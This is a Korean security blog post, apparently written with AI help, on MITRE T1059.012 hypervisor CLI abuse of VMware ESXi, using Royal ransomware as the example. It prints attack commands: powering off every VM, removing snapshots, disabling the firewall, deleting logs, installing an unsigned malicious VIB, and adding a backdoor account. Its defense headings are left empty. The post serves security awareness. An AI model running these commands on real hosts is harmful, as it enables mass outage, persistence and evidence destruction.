ESXi CLI 공격: VM 수십 대를 5분 만에 마비시키는 방법 | T1059.012
MITRE T1059.012 하이퍼바이저 CLI 공격의 동작 원리와 Royal 랜섬웨어 실제 사례 분석. ESXi esxcli, vim-cmd 악용 기법과 방어 전략 완전 해부 (2,847자)
VMware ESXi는 전 세계 가상화 인프라의 70% 이상을 담당하는 하이퍼바이저이다. 하지만 이 핵심 인프라를 관리하는 명령줄 인터페이스(CLI)가 공격자들의 새로운 표적이 되고 있다. 2025년 3월 MITRE ATT&CK에 새로 등록된 T1059.012 기법은 Royal 랜섬웨어 그룹이 실제로 ESXi 서버를 공격하며 입증한 위협이다.
과거 물리 서버 시대에는 서버 한 대를 공격하면 그 서버만 영향을 받았다. 하지만 하이퍼바이저 환경에서는 단일 ESXi 호스트 하나가 수십 개의 가상머신을 동시에 운영한다. 공격자가 하이퍼바이저의 CLI를 장악하면 한 번의 명령으로 전체 가상 인프라를 마비시킬 수 있다.
이 글에서는 하이퍼바이저 CLI 공격의 동작 원리부터 실제 공격 사례, 그리고 방어 전략까지 상세히 분석해보겠다.
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. — MITRE ATT&CK T1059.012
MITRE ATT&CK에서 정의하는 T1059.012는 공격자가 하이퍼바이저의 명령줄 인터프리터를 악용하여 악성 명령을 실행하는 기법이다. 주로 VMware ESXi 환경의 esxcli와 vim-cmd 도구를 표적으로 한다.
하이퍼바이저 CLI 공격을 이해하기 위해서는 다음 4가지 핵심 요소를 알아야 한다:
| 용어 | 설명 |
|---|---|
| ESXCLI | 역할: 하이퍼바이저 관리 / 주요 기능: 네트워크, 스토리지, 방화벽 설정 / 공격 위험도: 높음 |
| vim-cmd | 역할: 가상머신 관리 / 주요 기능: VM 시작/중지, 상태 조회 / 공격 위험도: 매우 높음 |
| PowerCLI | 역할: 원격 관리 도구 / 주요 기능: vSphere 환경 자동화 / 공격 위험도: 중간 |
| vSphere CLI | 역할: 레거시 도구 (지원 중단) / 주요 기능: 기존 ESX 관리 / 공격 위험도: 낮음 |
하이퍼바이저 CLI 공격의 첫 번째 단계는 ESXi 호스트에 대한 셸 접근을 확보하는 것이다. 공격자는 다음과 같은 방법으로 접근을 시도한다:
1단계: SSH 서비스 활성화 확인
# ESXi 호스트의 SSH 서비스 상태 확인
esxcli system ssh server status
# 출력: SSH is enabled and running
2단계: 인증 우회 또는 자격증명 탈취 공격자는 여러 방법으로 루트 계정에 접근한다:
ESXCLI는 네임스페이스 기반의 계층적 명령 구조를 가집니다:
# 기본 구조: esxcli [네임스페이스] [서브네임스페이스] [명령] [옵션]
esxcli network firewall ruleset list
esxcli vm process list
esxcli storage core device list
네트워크 방화벽 조작 예시:
# 현재 방화벽 규칙 확인
esxcli network firewall ruleset list | grep -E "Name|Enabled"
# SSH 방화벽 규칙 비활성화 (지속성 확보)
esxcli network firewall ruleset set --ruleset-id=sshServer --enabled=false
# 모든 방화벽 규칙 비활성화 (완전한 네트워크 접근)
esxcli network firewall set --enabled=false
vim-cmd는 가상머신의 생명주기를 직접 제어할 수 있는 강력한 도구이다:
# 모든 가상머신 목록 조회 (VMID 확인)
vim-cmd vmsvc/getallvms
# 출력 예시:
# Vmid Name File Guest OS Version
# 1 Web-Server-01 [datastore1] web01.vmx ubuntu64Guest vmx-19
# 2 DB-Server-01 [datastore1] db01.vmx windows9_64 vmx-19
가상머신 상태 조작:
# 특정 VM의 전원 상태 확인
vim-cmd vmsvc/power.getstate 1
# 출력: Powered on
# 가상머신 강제 종료 (하드 파워 오프)
vim-cmd vmsvc/power.off 1
# 가상머신 일시정지 (메모리 상태 보존)
vim-cmd vmsvc/power.suspend 1
# 스냅샷 생성 (복구 방해 목적)
vim-cmd vmsvc/snapshot.create 1 "attack_snapshot" "Before attack" 0 0
공격자는 CLI를 통해 전체 인프라의 구조를 파악한다:
# 호스트 하드웨어 정보 수집
esxcli hardware platform get
# 스토리지 장치 목록 (데이터 위치 파악)
esxcli storage core device list
# 네트워크 구성 정보 (측면 이동 경로)
esxcli network ip interface list
esxcli network vswitch standard list
# 실행 중인 프로세스 (보안 도구 탐지)
esxcli vm process list --world-id
하이퍼바이저 수준에서의 로그 조작은 탐지를 어렵게 만듭니다:
# 시스템 로그 위치 확인
ls -la /var/log/
# 주요 로그 파일 삭제
rm -f /var/log/vmware.log
rm -f /var/log/hostd.log
rm -f /var/log/auth.log
# 로그 로테이션 강제 실행 (기존 로그 덮어쓰기)
esxcli system syslog reload
공항의 관제탑을 생각해보면 이해가 쉽다. 관제탑(하이퍼바이저)에서는 여러 항공기(가상머신)를 동시에 관리한다. 만약 누군가 관제탑을 장악하면 한 번의 명령으로 모든 항공기의 이착륙을 통제할 수 있다. 하이퍼바이저 CLI 공격도 이와 같은 원리로, 중앙 관리 지점을 장악하여 전체 인프라를 제어한다.
공격자에게 하이퍼바이저는 매력적인 표적이다. 단일 ESXi 호스트 하나를 장악하면 평균 20-30개의 가상머신을 동시에 제어할 수 있기 때문이다. 특히 랜섬웨어 공격자들은 이 특성을 악용하여 "최소 노력, 최대 피해"를 추구한다.
MITRE ATT&CK 공식 문서에 기록된 Royal 랜섬웨어는 ESXi 환경을 표적으로 한 대표적인 사례이다.
공격 시나리오:
# Royal 랜섬웨어가 사용한 실제 명령어 패턴
vim-cmd vmsvc/getallvms | awk '{print $1}' | grep -E '^[0-9]+$' | while read vmid; do
vim-cmd vmsvc/power.off $vmid
done
# 암호화 전 스냅샷 삭제 (복구 방해)
vim-cmd vmsvc/snapshot.removeall 1
중국 APT 그룹이 사용한 또 다른 기법은 VIB(Virtual Infrastructure Bundle)를 악용한 지속성 확보이다.
VIB 조작 과정:
# 현재 설치된 VIB 패키지 확인
esxcli software vib list
# 악성 VIB 설치 (부팅 시 자동 실행)
esxcli software vib install -v /tmp/malicious.vib --no-sig-check
# 시스템 재부팅 후에도 지속성 유지
esxcli system maintenanceMode set --enable true
esxcli system shutdown reboot -r "Security update"
와 같은 제로데이 취약점을 통한 공격도 증가하고 있다:
# 취약한 OpenSLP 서비스 악용 후 셸 획득
# 공격자는 인증 없이 루트 권한으로 명령 실행 가능
# 즉시 SSH 활성화 및 백도어 계정 생성
esxcli system ssh server start
esxcli system account add -i backdoor -p 'P@ssw0rd123!' -c 'Backup Account'
# 모든 가상머신 정보 탈취
vim-cmd vmsvc/getallvms > /tmp/vm_inventory.txt
공격자들은 다음과 같은 방법으로 탐지를 회피한다:
1. 정상 명령어 위장:
# 정상적인 관리 작업으로 위장
esxcli system settings advanced set -o /UserVars/SuppressShellWarning -i 1
esxcli system settings advanced set -o /UserVars/ESXiShellTimeOut -i 0
2. 시간 지연 공격:
# 명령어 사이에 긴 간격을 두어 자동화 도구 탐지 회피
sleep 300 && vim-cmd vmsvc/power.off 1
sleep 600 && vim-cmd vmsvc/power.off 2
3. 로그 레벨 조작:
# 로그 상세도를 낮춰 공격 흔적 최소화
esxcli system syslog config set --logdir-unique=false
esxcli system syslog config logger set --id=hostd --rotate=1 --size=1
접근 제어:
모니터링 및 로깅:
시스템 강화:
T1059.012 하이퍼바이저 CLI 공격은 가상화 환경의 중앙집중적 특성을 악용하여 단일 지점에서 전체 인프라를 마비시킬 수 있는 위험한 기법이다. Royal 랜섬웨어와 중국 APT 그룹의 실제 공격 사례는 이 위협이 현실적이며 지속적으로 진화하고 있음을 보여줍니다.
하이퍼바이저 보안은 더 이상 선택이 아닌 중요하다. 특히 ESXi 환경을 운영하는 조직은 CLI 접근 제어와 모니터링에 특별한 주의를 기울여야 한다.
관련하여 T1059 스크립트 기반 공격: APT 그룹이 선택한 실행 기법의 원리에서 더 넓은 범위의 명령줄 공격 기법을 살펴볼 수 있으며, T1562 방어 무력화: APT 그룹이 EDR을 끄는 13가지 기술 원리에서 공격자들이 보안 도구를 우회하는 방법을 확인할 수 있다.
다음에는 컨테이너 환경을 표적으로 하는 T1059.013 Container CLI 공격과 클라우드 네이티브 환경의 보안 위협에 대해 알아보겠다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.